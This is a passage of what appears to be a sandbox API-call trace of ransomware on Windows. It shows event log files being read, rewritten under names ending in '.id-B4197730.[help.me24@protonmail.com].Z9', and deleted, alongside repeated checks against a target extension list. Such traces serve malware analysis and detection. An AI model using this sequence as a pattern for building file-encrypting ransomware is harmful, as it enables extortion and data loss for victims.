	[0081.218] WriteFile (in: hFile=0x370, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.220] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.220] WriteFile (in: hFile=0x370, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x132, lpOverlapped=0x0) returned 1
	[0081.220] SetEndOfFile (hFile=0x370) returned 1
	[0081.220] CloseHandle (hObject=0x370) returned 1
	[0081.222] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.222] SetEndOfFile (hFile=0x360) returned 1
	[0081.223] CloseHandle (hObject=0x360) returned 1
	[0081.223] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0081.223] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1
	[0081.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0081.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0081.224] lstrlenW (lpString=".doc") returned 4
	[0081.224] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.224] lstrlenW (lpString=".docx") returned 5
	[0081.224] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.224] lstrlenW (lpString=".pdf") returned 4
	[0081.224] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.224] lstrlenW (lpString=".xls") returned 4
	[0081.224] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.224] lstrlenW (lpString=".xlsx") returned 5
	[0081.224] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.224] lstrlenW (lpString=".ppt") returned 4
	[0081.224] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0081.224] lstrlenW (lpString=".zip") returned 4
	[0081.224] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.224] lstrlenW (lpString=".rar") returned 4
	[0081.224] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.224] lstrlenW (lpString=".bz2") returned 4
	[0081.224] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.224] lstrlenW (lpString=".7z") returned 3
	[0081.224] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0081.224] lstrlenW (lpString=".dbf") returned 4
	[0081.224] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0081.224] lstrlenW (lpString=".1cd") returned 4
	[0081.224] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0081.224] lstrlenW (lpString=".jpg") returned 4
	[0081.224] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0081.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0081.225] lstrlenW (lpString=".doc") returned 4
	[0081.225] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.225] lstrlenW (lpString=".docx") returned 5
	[0081.225] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.225] lstrlenW (lpString=".pdf") returned 4
	[0081.225] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.225] lstrlenW (lpString=".xls") returned 4
	[0081.225] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.225] lstrlenW (lpString=".xlsx") returned 5
	[0081.225] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.225] lstrlenW (lpString=".ppt") returned 4
	[0081.225] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.225] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0081.225] lstrlenW (lpString=".zip") returned 4
	[0081.225] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.225] lstrlenW (lpString=".rar") returned 4
	[0081.225] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.225] lstrlenW (lpString=".bz2") returned 4
	[0081.225] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.225] lstrlenW (lpString=".7z") returned 3
	[0081.225] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.225] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0081.225] lstrlenW (lpString=".dbf") returned 4
	[0081.225] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.225] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0081.225] lstrlenW (lpString=".1cd") returned 4
	[0081.225] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.225] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0081.225] lstrlenW (lpString=".jpg") returned 4
	[0081.225] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.225] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0081.225] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42
	[0081.226] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0081.226] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0081.226] CloseHandle (hObject=0x360) returned 1
	[0081.226] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20
	[0081.226] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.226] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0081.226] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.226] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.226] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.003] GetLastError () returned 0x0
	[0082.003] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.006] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.008] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.008] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x128, lpOverlapped=0x0) returned 1
	[0082.008] SetEndOfFile (hFile=0x358) returned 1
	[0082.008] CloseHandle (hObject=0x358) returned 1
	[0082.010] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.011] SetEndOfFile (hFile=0x360) returned 1
	[0082.012] CloseHandle (hObject=0x360) returned 1
	[0082.012] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.012] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1
	[0082.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0082.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0082.012] lstrlenW (lpString=".doc") returned 4
	[0082.012] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.012] lstrlenW (lpString=".docx") returned 5
	[0082.012] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.012] lstrlenW (lpString=".pdf") returned 4
	[0082.012] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.013] lstrlenW (lpString=".xls") returned 4
	[0082.013] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.013] lstrlenW (lpString=".xlsx") returned 5
	[0082.013] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.013] lstrlenW (lpString=".ppt") returned 4
	[0082.013] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0082.013] lstrlenW (lpString=".zip") returned 4
	[0082.013] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.013] lstrlenW (lpString=".rar") returned 4
	[0082.013] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.013] lstrlenW (lpString=".bz2") returned 4
	[0082.013] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.013] lstrlenW (lpString=".7z") returned 3
	[0082.013] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0082.013] lstrlenW (lpString=".dbf") returned 4
	[0082.013] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0082.013] lstrlenW (lpString=".1cd") returned 4
	[0082.013] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0082.013] lstrlenW (lpString=".jpg") returned 4
	[0082.013] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0082.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0082.013] lstrlenW (lpString=".doc") returned 4
	[0082.013] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.013] lstrlenW (lpString=".docx") returned 5
	[0082.013] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.013] lstrlenW (lpString=".pdf") returned 4
	[0082.013] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.013] lstrlenW (lpString=".xls") returned 4
	[0082.013] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.014] lstrlenW (lpString=".xlsx") returned 5
	[0082.014] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.014] lstrlenW (lpString=".ppt") returned 4
	[0082.014] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.014] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0082.014] lstrlenW (lpString=".zip") returned 4
	[0082.014] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.014] lstrlenW (lpString=".rar") returned 4
	[0082.014] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.014] lstrlenW (lpString=".bz2") returned 4
	[0082.014] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.014] lstrlenW (lpString=".7z") returned 3
	[0082.014] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.014] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0082.014] lstrlenW (lpString=".dbf") returned 4
	[0082.014] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.014] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0082.014] lstrlenW (lpString=".1cd") returned 4
	[0082.014] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.014] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0082.014] lstrlenW (lpString=".jpg") returned 4
	[0082.014] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.014] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.014] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33
	[0082.014] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0082.015] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0082.015] CloseHandle (hObject=0x360) returned 1
	[0082.015] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20
	[0082.015] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.015] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0082.015] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.015] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.015] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.015] GetLastError () returned 0x0
	[0082.015] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.018] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.020] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.020] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x116, lpOverlapped=0x0) returned 1
	[0082.020] SetEndOfFile (hFile=0x358) returned 1
	[0082.020] CloseHandle (hObject=0x358) returned 1
	[0082.025] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.025] SetEndOfFile (hFile=0x360) returned 1
	[0082.027] CloseHandle (hObject=0x360) returned 1
	[0082.027] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.027] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1
	[0082.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0082.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0082.027] lstrlenW (lpString=".doc") returned 4
	[0082.027] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.027] lstrlenW (lpString=".docx") returned 5
	[0082.027] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.027] lstrlenW (lpString=".pdf") returned 4
	[0082.027] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.027] lstrlenW (lpString=".xls") returned 4
	[0082.027] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.027] lstrlenW (lpString=".xlsx") returned 5
	[0082.027] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.027] lstrlenW (lpString=".ppt") returned 4
	[0082.027] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0082.028] lstrlenW (lpString=".zip") returned 4
	[0082.028] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.028] lstrlenW (lpString=".rar") returned 4
	[0082.028] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.028] lstrlenW (lpString=".bz2") returned 4
	[0082.028] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.028] lstrlenW (lpString=".7z") returned 3
	[0082.028] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0082.028] lstrlenW (lpString=".dbf") returned 4
	[0082.028] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0082.028] lstrlenW (lpString=".1cd") returned 4
	[0082.028] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0082.028] lstrlenW (lpString=".jpg") returned 4
	[0082.028] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0082.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0082.028] lstrlenW (lpString=".doc") returned 4
	[0082.028] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.028] lstrlenW (lpString=".docx") returned 5
	[0082.028] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.028] lstrlenW (lpString=".pdf") returned 4
	[0082.028] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.028] lstrlenW (lpString=".xls") returned 4
	[0082.028] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.028] lstrlenW (lpString=".xlsx") returned 5
	[0082.028] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.028] lstrlenW (lpString=".ppt") returned 4
	[0082.028] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0082.028] lstrlenW (lpString=".zip") returned 4
	[0082.028] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.029] lstrlenW (lpString=".rar") returned 4
	[0082.029] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.029] lstrlenW (lpString=".bz2") returned 4
	[0082.029] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.029] lstrlenW (lpString=".7z") returned 3
	[0082.029] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.029] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0082.029] lstrlenW (lpString=".dbf") returned 4
	[0082.029] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.029] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0082.029] lstrlenW (lpString=".1cd") returned 4
	[0082.029] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.029] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0082.029] lstrlenW (lpString=".jpg") returned 4
	[0082.029] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.029] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.029] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39
	[0082.029] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0082.030] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0082.030] CloseHandle (hObject=0x360) returned 1
	[0082.030] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20
	[0082.030] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.030] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0082.030] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.030] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.030] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.030] GetLastError () returned 0x0
	[0082.030] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.033] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.035] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.035] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x122, lpOverlapped=0x0) returned 1
	[0082.035] SetEndOfFile (hFile=0x358) returned 1
	[0082.035] CloseHandle (hObject=0x358) returned 1
	[0082.037] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.037] SetEndOfFile (hFile=0x360) returned 1
	[0082.039] CloseHandle (hObject=0x360) returned 1
	[0082.039] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.039] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1
	[0082.039] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0082.039] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0082.039] lstrlenW (lpString=".doc") returned 4
	[0082.039] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.039] lstrlenW (lpString=".docx") returned 5
